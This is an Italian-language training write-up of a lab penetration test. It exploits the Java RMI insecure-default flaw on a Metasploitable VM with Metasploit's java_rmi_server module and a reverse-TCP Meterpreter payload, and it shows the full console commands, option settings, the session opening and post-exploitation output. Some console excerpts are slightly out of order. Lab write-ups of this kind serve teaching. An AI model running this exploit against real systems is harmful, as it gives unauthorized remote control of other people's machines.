

# Progetto settimanale

## Exploit Java-RMI code execution

### 1. Descrizione della vulnerabilità

La vulnerabilità del servizio Java-RMI è stata rilevata sulla nostra macchina Metasploitable attraverso una precedente fase di scansione della macchina vittima.

Il servizio Java\_RMI code execution è attivo sulla porta 1099 della macchina Metasploitable.

La vulnerabilità è data da una configurazione di default errata che permette ad un potenziale attaccante di iniettare codice arbitrario per ottenere accesso amministrativo non autorizzato alla macchina target.

In questa situazione abbiamo saltato i primi due passaggi di ingaggio da parte dell'azienda e di information gathering, in quanto si tratta di un'esercitazione puramente didattica.

Per quanto riguarda la fase "0", ovvero quella di ingaggio, dove il direttore di un'azienda ci contatta per definire il nostro intervento di penetration testing all'interno della sua azienda. In questa sede si stabiliscono le regole per portare avanti il PT, la durata, gli orari, il costo dell'intervento, le clausole legali e si apprendono altre informazioni riguardanti la situazione aziendali (eventuali e-mail dipendenti se white box, configurazione della rete aziendale, ecc.).

Nella prima fase (information gathering), invece, il Pen Tester va a ricercare le informazioni più importanti e dettagliate sul target. Questa fase è davvero molto importante per la buona riuscita del Penetration Testing.

I tool più utilizzati per questa prima fase sono **Whois Lookup**, **Maltego** e **TheHarvester**, **Network Query Tool (NQT)** e **Recon-ng**, oltre ai siti OSINT.

### 2. Fase di scansione

La fase di scansione è stata effettuata con i tool automatici **Nessus** e **nmap**. Il primo, che è un vulnerability scanner, ci restituisce delle informazioni soggettive sul target, mentre **nmap** ci fornisce informazioni oggettive.

Dalle rilevazioni di Nessus possiamo vedere come la vulnerabilità da exploitare sia riportata con un criticità informational, il che vuol dire che il vulnerability scanner, soggettivamente parlando, non ritiene che questa sia una criticità importante della macchina target.

In realtà, come si vedrà in seguito, questa vulnerabilità dà l'accesso non autorizzato alla macchina vittima, attraverso il framework **Metasploit** e attraverso i moduli adeguati.

Di seguito il risultato ottenuto dalla scansione basic network di Nessus:

INFO

RMI Registry Detection

Description

The remote host is running an RMI registry, which acts as a bootstrap naming service for registering and retrieving remote objects with simple names in the Java Remote Method Invocation (RMI) system.

See Also

<https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/spec/rmiTOC.html>  
<http://www.nessus.org/u?b6fd7659>

Output

```
Valid response recieved for port 1099:
0x00: 51 AC ED 00 05 77 0F 01 71 9B 3C 40 00 00 01 82      Q...w..q.<@...
0x10: FD A0 FB 1C 80 02 75 72 00 13 5B 4C 6A 61 76 61      .....ur..[Ljava
0x20: 2E 6C 61 6E 67 2E 53 74 72 69 6E 67 3B AD D2 56      .lang.String;..V
0x30: E7 E9 1D 7B 47 02 00 00 70 78 70 00 00 00 00      ...(G...xp....
```

Port ▲	Hosts
1099 / tcp / rmi_regist...	192.168.11.112

No output recorded.

Port ▲	Hosts
1099 / tcp / rmi_regist...	192.168.11.112

Per avere la certezza e avere un quadro oggettivo della situazione, è opportuno utilizzare anche il tool nmap.

Nmap, come già detto, restituisce la situazione oggettiva della macchina, riportando tutte le informazioni disponibili sulle porte aperte, sul sistema operativo, sulle versioni dei programmi e altro ancora.

In questo caso è stata effettuata una scansione aggressiva della macchina vittima attraverso il comando:

**nmap -A 192.168.11.112**

Di seguito vediamo come **nmap** abbia rilevato la stessa porta 1099 aperta con il servizio Java\_Rmi.

```

512/tcp open      exec           netkit-rsh rexecd
513/tcp open      login?        netkit-rsh rlogind
514/tcp open      shell         Netkit rshd rshd
1099/tcp open      java-rmi      GNU Classpath grmiregistry
1524/tcp filtered ingreslock
2049/tcp open      nfs           2-4 (RPC #100003)
3121/tcp open      ftp           ProFTPD 1.3.4

```

Dopo aver confermato la vulnerabilità del servizio con **nmap**, possiamo procedere con la fase di **exploit**.

### 3. Fase di exploit

All'interno di questa fase, andremo ad utilizzare lo strumento **Metasploit**, un framework open source utilizzato per il penetration testing e lo sviluppo di exploit.

All'interno di **Metasploit** vi sono circa 2000 exploit e 600 payloads, da utilizzare in base alle esigenze e ai vari target da exploitare. Solitamente, si consiglia di utilizzare gli exploit che sono già stati testati e che riportano la scritta "excellent".

Per exploitare il servizio Java\_RMI avviamo innanzitutto il programma MSFConsole da riga di comando su Kali.

```
(kali㉿kali)-[~]
└─$ msfconsole

[*] Meterpreter session 0 established.

msf6 > help

=====
# Name                               Disclosure Date   Rank    Check    Description
- - - - -
0 auxiliary/gather/java_rmi_registry normal           No      Java RMI Registry Interfaces Enumeration
1 exploit/multi/misc/java_rmi_server 2011-10-15       excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution
2 auxiliary/scanner/misc/java_rmi_server 2011-10-15       normal   No      Java RMI Server Insecure Endpoint Code Execution Scanner
3 exploit/multi/browser/java_rmi_connection_impl 2010-03-31       excellent No      Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) >
```

La prima cosa da fare è cercare, attraverso la keyword “search”, quale sia il modulo migliore da utilizzare per riuscire ad ottenere l’accesso alla macchina target.

Attraverso il comando “search Java\_RMI” sono stati individuati 4 exploit che potrebbero essere utilizzati:

leggendo la descrizione possiamo comprendere che quello più adeguato è il primo in quanto creato appositamente per la configurazione di default errata di Java RMI. In più nella voce “rank” riporta la dicitura **“excellent”**, il che significa che è un exploit testato e andato a buon fine.

Attraverso il comando “use” seguito dal path dell’exploit andremo a utilizzare l’exploit.

Una volta inserito l'exploit da noi scelto, vediamo che Metasploit ci assegna un payload di default, utile per creare una sessione di Meterpreter, ovvero "java/meterpreter/reverse\_tcp".

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                                                                     |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                     |
| RHOSTS    |                 | yes      | The target host(s), see <a href="https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit">https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                                                           |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                           |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                    |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                          |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                                             |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



msf6 exploit(multi/misc/java_rmi_server) > set httpdelay 20
httpdelay => 20
```

Dopodiché, per visualizzare le opzioni già inserite e quelle da configurare, dove vediamo che l'http delay è settato a 10. Inoltre, un'altra opzione da configurare è quella dell'RHOST che è obbligatoriamente richiesta per poter utilizzare l'exploit (REQUIRED=YES).

```
msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):


| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 20              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    |                 | yes      | The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit                                          |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |


Payload options (java/meterpreter/reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


Exploit target:


| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |


msf6 exploit(multi/misc/java_rmi_server) > set rhost 192.168.11.112
rhost => 192.168.11.112
```

Innanzitutto, l'http delay è stato configurato a 20 attraverso il comando “**set http-delay 20**” e l'rhost (l'ip della macchina target) con indirizzo ip 192.168.11.112, attraverso il comando “**set rhost 192.168.11.112**”

```
msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):


| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 20              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit                                          |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |


Payload options (java/meterpreter/reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


Exploit target:


| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |


```

Alla fine, controlliamo nuovamente attraverso il comando “**show options**” se tutto è stato inserito correttamente.

Una volta fatto ciò, possiamo far partire l'exploit e aprire una shell e attraverso il payload di default si aprirà una sessione Meterpreter.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/HoOfa7EmuaGFes
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:57379 ) at 2022-09-02 06:33:23 -0400
```

L'exploit è andato a buon fine e la sessione di Meterpreter è stata aperta.

All'interno della sessione di Meterpreter andiamo a utilizzare il comando “**ifconfig**” che ci dà la conferma definitiva che l'accesso amministrativo non autorizzato alla macchina target è riuscito. Questo comando, infatti, ci restituisce l'ip della macchina vittima (192.168.11.112).

Di seguito il comando “ipconfig” eseguito.

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe95:11b6
IPv6 Netmask : ::

meterpreter > 
```

Inoltre, eseguiamo sempre all'interno della sessione di Meterpreter il comando “**sysinfo**” per ricevere le informazioni della macchina target, come ad esempio il nome della macchina, il sistema operativo e la versione, la lingua di sistema e il tipo di sistema (x86, ovvero a 32 bit).

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > 
```

Infine, l'ultimo comando eseguito è “**route**” che ci restituisce le impostazioni della tabella di routing della macchina attaccata.

```
meterpreter > route

IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0            lo
192.168.11.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0            lo
fe80::a00:27ff:fe95:11b6 ::           ::           0            eth0
meterpreter > 
```